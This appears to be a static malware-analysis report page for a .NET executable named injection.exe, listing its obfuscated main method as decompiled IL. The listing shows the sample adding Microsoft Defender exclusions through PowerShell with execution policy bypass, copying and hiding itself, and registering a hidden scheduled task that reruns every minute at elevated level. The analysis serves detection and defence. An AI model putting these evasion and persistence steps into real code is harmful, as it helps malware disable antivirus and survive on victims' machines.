Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

The file 0c6f9ab8c9e7d343f0ccae86803279c0 is a PE Executable for which Malva.RE's static analysis did not establish a malicious verdict. Static analysis extracted 7 embedded or derived files. It matches 2 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
—
MD5
-
Verdict
Inconclusive
File type
PE Executable

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Detection
Symbol obfuscation
Low

8 files
EXE0c6f9ab8c9e7d343f0ccae86803279c0
Structure

Name Value
Module Name
injection.exe
Full Name
injection.exe
EntryPoint
System.Void x&4&;x64x7::#7#x;&6&67()
Scope Name
injection.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
injection
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
534
Main Method
System.Void x&4&;x64x7::#7#x;&6&67()
Main IL Instruction Count
204
Main IL 
call System.Boolean x&4&;x64x7::66##2;;x26()
brtrue IL_0010: ldsfld System.String 64;;;;&#6;::#&;267x&;&
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.String 64;;;;&#6;::#&;267x&;&
ldsfld System.String 64;;;;&#6;::126#46;676
ldstr \
ldsfld System.String 64;;;;&#6;::6x62#x##;;
call System.String System.String::Concat(System.String,System.String,System.String)
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_0096: call System.Boolean x&4&;x64x7::#x;##x;;a4()
ldsfld System.Collections.Generic.List`1<System.String> 64;;;;&#6;::662#&4;&#&
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.0 <null>
br IL_0070: ldloca.s V_0
ldloca.s V_0
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.1 <null>
ldnull <null>
ldftn System.Void x&4&;x64x7::6#;x&a4&3#(System.Object)
newobj System.Void System.Threading.ParameterizedThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ParameterizedThreadStart)
stloc.2 <null>
ldloc.2 <null>
ldloc.1 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Byte[] x&4&;x64x7::#07a4661#7(System.String)
callvirt System.Void System.Threading.Thread::Start(System.Object)
ldloca.s V_0
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue.s IL_0045: ldloca.s V_0
leave IL_008C: call System.Void System.Windows.Forms.Application::Run()
ldloca.s V_0
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
call System.Void System.Windows.Forms.Application::Run()
br IL_0312: ret
call System.Boolean x&4&;x64x7::#x;##x;;a4()
brtrue IL_00B6: call System.Boolean x&4&;x64x7::#x;##x;;a4()
ldsfld System.String 64;;;;&#6;::#&;267x&;&
call System.Boolean x&4&;x64x7::2#66#;4&&#(System.String)
pop <null>
call System.Void x&4&;x64x7::##422&;;76()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Boolean x&4&;x64x7::#x;##x;;a4()
brfalse IL_014D: ldsfld System.String 64;;;;&#6;::126#46;676
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.3 <null>
ldloc.3 <null>
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.3 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.3 <null>
ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '
ldsfld System.String 64;;;;&#6;::126#46;676
ldstr \
ldsfld System.String 64;;;;&#6;::6x62#x##;;
call System.String System.String::Concat(System.String,System.String,System.String)
call System.String System.IO.Path::GetFullPath(System.String)
ldstr '
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.3 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
callvirt System.Void System.Diagnostics.Process::WaitForExit()
ldloc.3 <null>
ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '
ldsfld System.String 64;;;;&#6;::6x62#x##;;
ldstr '
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.3 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave IL_014D: ldsfld System.String 64;;;;&#6;::126#46;676
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_014D: ldsfld System.String 64;;;;&#6;::126#46;676
ldsfld System.String 64;;;;&#6;::126#46;676
ldstr \
ldsfld System.String 64;;;;&#6;::6x62#x##;;
call System.String System.String::Concat(System.String,System.String,System.String)
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_0199: ldc.i4 1000
ldsfld System.String 64;;;;&#6;::126#46;676
ldstr \
ldsfld System.String 64;;;;&#6;::6x62#x##;;
call System.String System.String::Concat(System.String,System.String,System.String)
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
ldc.i4 128
callvirt System.Void System.IO.FileSystemInfo::set_Attributes(System.IO.FileAttributes)
ldloc.s V_5
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String 64;;;;&#6;::126#46;676
ldstr \
ldsfld System.String 64;;;;&#6;::6x62#x##;;
call System.String System.String::Concat(System.String,System.String,System.String)
ldsfld System.String 64;;;;&#6;::#&;267x&;&
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave IL_01DD: ldsfld System.String 64;;;;&#6;::126#46;676
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_01DD: ldsfld System.String 64;;;;&#6;::126#46;676
ldsfld System.String 64;;;;&#6;::126#46;676
ldstr \
ldsfld System.String 64;;;;&#6;::6x62#x##;;
call System.String System.String::Concat(System.String,System.String,System.String)
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave IL_020E: newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_020E: newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor()
newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor()
stloc.s V_8
ldloc.s V_8
callvirt Microsoft.Win32.TaskScheduler.TaskDefinition Microsoft.Win32.TaskScheduler.TaskService::NewTask()
stloc.s V_9
newobj System.Void Microsoft.Win32.TaskScheduler.TimeTrigger::.ctor()
stloc.s V_10
ldloc.s V_10
callvirt Microsoft.Win32.TaskScheduler.RepetitionPattern Microsoft.Win32.TaskScheduler.Trigger::get_Repetition()
ldc.r8 1
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
callvirt System.Void Microsoft.Win32.TaskScheduler.RepetitionPattern::set_Interval(System.TimeSpan)
ldloc.s V_9
callvirt Microsoft.Win32.TaskScheduler.TriggerCollection Microsoft.Win32.TaskScheduler.TaskDefinition::get_Triggers()
ldloc.s V_10
callvirt Microsoft.Win32.TaskScheduler.Trigger Microsoft.Win32.TaskScheduler.TriggerCollection::Add(Microsoft.Win32.TaskScheduler.Trigger)
pop <null>
call System.Boolean x&4&;x64x7::#x;##x;;a4()
brfalse IL_0265: ldloc.s V_9
ldloc.s V_9
callvirt Microsoft.Win32.TaskScheduler.TaskPrincipal Microsoft.Win32.TaskScheduler.TaskDefinition::get_Principal()
ldc.i4.1 <null>
callvirt System.Void Microsoft.Win32.TaskScheduler.TaskPrincipal::set_RunLevel(Microsoft.Win32.TaskScheduler.TaskRunLevel)
ldloc.s V_9
callvirt Microsoft.Win32.TaskScheduler.TaskSettings Microsoft.Win32.TaskScheduler.TaskDefinition::get_Settings()
ldc.i4.1 <null>
callvirt System.Void Microsoft.Win32.TaskScheduler.TaskSettings::set_Hidden(System.Boolean)
ldloc.s V_9
callvirt Microsoft.Win32.TaskScheduler.ActionCollection Microsoft.Win32.TaskScheduler.TaskDefinition::get_Actions()
ldsfld System.String 64;;;;&#6;::126#46;676
ldstr \
ldsfld System.String 64;;;;&#6;::6x62#x##;;
call System.String System.String::Concat(System.String,System.String,System.String)
ldnull <null>
ldnull <null>
newobj System.Void Microsoft.Win32.TaskScheduler.ExecAction::.ctor(System.String,System.String,System.String)
callvirt Microsoft.Win32.TaskScheduler.Action Microsoft.Win32.TaskScheduler.ActionCollection::Add(Microsoft.Win32.TaskScheduler.Action)
pop <null>
ldloc.s V_8
callvirt Microsoft.Win32.TaskScheduler.TaskFolder Microsoft.Win32.TaskScheduler.TaskService::get_RootFolder()
ldsfld System.String 64;;;;&#6;::#x42;xx26&
ldloc.s V_9
callvirt Microsoft.Win32.TaskScheduler.Task Microsoft.Win32.TaskScheduler.TaskFolder::RegisterTaskDefinition(System.String,Microsoft.Win32.TaskScheduler.TaskDefinition)
pop <null>
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void x&4&;x64x7::##422&;;76()
ldloc.s V_8
ldsfld System.String 64;;;;&#6;::#x42;xx26&
ldc.i4.1 <null>
callvirt Microsoft.Win32.TaskScheduler.Task Microsoft.Win32.TaskScheduler.TaskService::FindTask(System.String,System.Boolean)
stloc.s V_11
ldloc.s V_11
brfalse IL_02E1: ldc.i4.0
ldloc.s V_11
ldc.i4.0 <null>
newarr System.String
callvirt Microsoft.Win32.TaskScheduler.RunningTask Microsoft.Win32.TaskScheduler.Task::Run(System.String[])
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave IL_02FB: leave IL_0312
ldloc.s V_8
brfalse IL_02FA: endfinally
ldloc.s V_8
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave IL_0312: ret
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_12
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0312: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙